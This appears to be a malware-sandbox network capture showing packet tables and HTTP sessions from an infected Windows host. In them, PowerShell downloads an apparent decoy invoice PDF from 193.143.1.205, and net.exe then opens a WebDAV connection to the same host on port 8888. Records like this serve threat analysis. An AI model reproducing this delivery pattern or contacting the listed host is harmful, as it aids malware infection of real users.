Jan 11, 2025 08:58:30.212467909 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.212479115 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.212479115 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:30.212490082 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.212502956 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.212502956 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:30.212522984 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:30.212763071 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.212773085 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.212783098 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.212794065 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.212796926 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:30.212805986 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.212815046 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:30.212842941 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:30.212982893 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.212994099 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.213004112 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.213015079 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.213047028 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:30.213073969 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:30.213128090 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.213259935 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.213270903 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.213280916 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.213290930 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.213296890 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:30.213305950 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.213315010 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:30.213321924 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.213331938 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.213341951 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.213352919 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.213355064 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:30.213387012 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:30.213399887 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:30.213778019 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.213789940 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.213799000 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.213809967 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.213819027 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.213829041 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.213836908 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:30.213840008 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.213851929 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.213860989 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:30.213861942 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.213872910 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.213884115 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.213888884 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:30.213907003 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:30.214207888 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.214219093 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.214229107 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.214245081 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:30.214246035 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.214257002 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.214265108 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:30.214267969 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.214279890 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.214288950 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.214303970 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:30.214325905 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:30.214628935 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.214641094 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.214653969 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.214663029 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:30.214663982 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.214682102 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.214687109 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:30.214693069 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.214704037 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.214716911 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.214725018 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:30.214754105 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:30.214931965 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.214941978 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.214963913 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:30.215094090 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.215105057 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.215116024 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.215126038 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.215135098 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:30.215136051 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.215147018 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.215157032 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.215164900 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:30.215167046 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.215178013 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.215178967 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:30.215190887 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.215200901 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.215214968 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:30.215214968 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:30.215240002 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:30.215764046 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.215775967 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.215785980 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.215795994 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.215806007 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.215816021 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.215816975 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:30.215826988 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.215827942 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:30.215838909 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.215850115 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.215857983 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:30.215859890 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.215873957 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:30.215873957 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.215883970 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.215893984 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.215895891 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.215907097 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:30.215939045 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:30.216348886 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.216360092 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.216371059 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.216379881 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.216387987 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:30.216392994 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.216403961 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.216414928 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.216418028 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:30.216434956 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:30.216587067 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.216623068 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:30.216710091 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.216722012 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.216732979 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.216742992 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.216751099 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:30.216753006 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.216764927 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.216774940 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.216775894 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:30.216794014 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:30.217041016 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.217051983 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.217073917 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:30.217221022 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.217232943 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.217243910 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.217253923 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.217257977 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:30.217269897 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.217272997 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:30.217283010 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.217294931 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.217303991 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.217308998 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:30.217319012 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.217329025 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.217330933 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:30.217339993 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.217350006 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.217360973 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.217370987 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:30.217396021 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:30.217859983 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.217873096 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.217883110 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.217894077 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.217904091 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.217914104 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.217924118 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.217926025 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:30.217935085 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.217941999 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:30.217956066 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:30.217972994 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:30.218173027 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.218183994 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.218202114 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.218215942 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:30.218332052 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.218343019 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.218353987 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.218364000 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.218370914 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:30.218383074 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.218390942 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:30.218395948 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.218408108 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.218416929 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:30.218417883 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.218429089 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.218439102 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.218451977 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.218457937 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:30.218462944 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.218492031 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:30.218782902 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:30.218816042 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:30.434858084 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:30.640748024 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:31.047281027 CET	49713	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:31.052311897 CET	8888	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:31.052419901 CET	49713	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:31.052603006 CET	49713	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:31.057440996 CET	8888	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:31.856096983 CET	8888	49713	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:31.905339003 CET	49713	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:32.186140060 CET	49713	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:43.869467020 CET	53159	53	192.168.2.6	1.1.1.1
Jan 11, 2025 08:58:43.874372005 CET	53	53159	1.1.1.1	192.168.2.6
Jan 11, 2025 08:58:43.874464035 CET	53159	53	192.168.2.6	1.1.1.1
Jan 11, 2025 08:58:43.879349947 CET	53	53159	1.1.1.1	192.168.2.6
Jan 11, 2025 08:58:44.319560051 CET	53159	53	192.168.2.6	1.1.1.1
Jan 11, 2025 08:58:44.324614048 CET	53	53159	1.1.1.1	192.168.2.6
Jan 11, 2025 08:58:44.324728012 CET	53159	53	192.168.2.6	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 08:58:39.311923981 CET	53485	53	192.168.2.6	1.1.1.1
Jan 11, 2025 08:58:43.868864059 CET	53	50299	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 08:58:39.311923981 CET	192.168.2.6	1.1.1.1	0x4041	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 08:58:39.319348097 CET	1.1.1.1	192.168.2.6	0x4041	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49711	193.143.1.205	80	2448	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 08:58:28.379755020 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 08:58:29.181169987 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 07:58:29 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 08:58:29.181195021 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 08:58:29.181204081 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 11, 2025 08:58:29.181210995 CET	1236	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]%3h}
Jan 11, 2025 08:58:29.181221962 CET	448	IN	Data Raw: 14 ec a4 70 2c f4 e3 60 47 ae 3e 30 74 b0 23 f7 a4 d9 91 db 8d 85 7e 68 c7 42 df 76 db 71 df bc ba 78 fd f2 e2 f5 8b 8b 57 2f 9a ff 6c 7a e8 cb ae 87 a6 65 b9 fa e4 50 bb 29 f7 e6 69 b0 29 f7 b1 1b 0e 25 86 4e 6a ea 9b 13 00 00 c0 34 f8 62 09 00 Data Ascii: p,`G>0t#~hBvqxW/lzeP)i)%Nj4b/FcvQOt`{psBjK_~1DmM[9L/l4`U*;rfAnWB_)^oCeSC;i4b/FcvO
Jan 11, 2025 08:58:29.181345940 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
Jan 11, 2025 08:58:29.181356907 CET	1236	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`j5w.\y,Z*
Jan 11, 2025 08:58:29.181366920 CET	448	IN	Data Raw: 8f 6e 8f 0e 06 31 f4 fd db 4b d9 94 9b 86 43 75 0f 6d 67 42 bb b1 50 15 43 af 25 86 1e 06 31 f4 e1 fa ea f1 e6 e6 b1 1c 43 39 36 74 5b a6 be 39 01 00 00 4c 83 2f 96 00 60 5a e1 5d b7 e6 9b f3 8f 63 72 df a8 af cc 04 7f 8e 0d 84 86 19 d4 d7 cf 1b Data Ascii: n1KCumgBPC%1C96t[9L/`Z]crZia)seh*w6K_CU^\|.%2F'Zrr%cAvtN{QF?X<0!t{&1qC
Jan 11, 2025 08:58:29.181377888 CET	1236	IN	Data Raw: ff 6d 63 e8 87 79 0c 3d 3d e9 62 e8 a5 c4 d0 ee d8 d0 26 86 3e a4 18 6a 8e 0d 6d ff 89 c9 a6 dc 0d 9b fa e6 04 00 00 30 0d be 58 02 80 09 f9 fb 6d f8 2d fa 30 51 3d e4 f7 5b 56 7e a3 7e d1 52 a0 33 41 d8 7d 74 f1 49 71 f3 b2 77 51 27 fd 62 1d 46 Data Ascii: mcy==b&>jm0Xm-0Q=[V~~R3A}tIqwQ'bFMs>d,Qlsj>US*r5+'BV`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(
Jan 11, 2025 08:58:29.181483984 CET	1236	IN	Data Raw: 3e 29 6b a6 fa b9 d7 7a df 7b e7 a4 bf 9f 7e 59 6a a3 52 45 73 49 34 8c 59 3e 83 16 86 f5 e4 6a 75 a2 3a e8 85 f3 aa e5 cb c8 25 51 53 69 73 13 97 85 ab 2a 8c d0 9a 41 d1 5c a5 35 13 73 66 90 b0 70 79 e6 da ca 97 97 2b 7a b9 82 56 d9 43 2b 4b 68 Data Ascii: >)kz{~YjREsI4Y>ju:%QSis*A\5sfpy+zVC+KhXs}}j6AC?P}Cf~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&
Jan 11, 2025 08:58:29.186136961 CET	1236	IN	Data Raw: 37 07 77 ce 63 e8 c9 ed 49 13 43 6f 24 86 1e a4 18 2a c3 a1 35 49 f4 7d 57 42 db 1d b9 6d 0c dd b7 31 f4 ec b4 f9 1d 2f e5 d8 d0 9b c7 79 0c e5 d8 d0 69 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 76 98 fb 6a 61 41 6e 79 21 6d ee bc cb d1 63 fe ca 3d 34 Data Ascii: 7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:P2"HI34PY\1{}*0c:S!4,fzx6"4Ts~~\|5fUGKhe?0P3K~0d80]f6WD

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49713	193.143.1.205	8888	4892	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 08:58:31.052603006 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
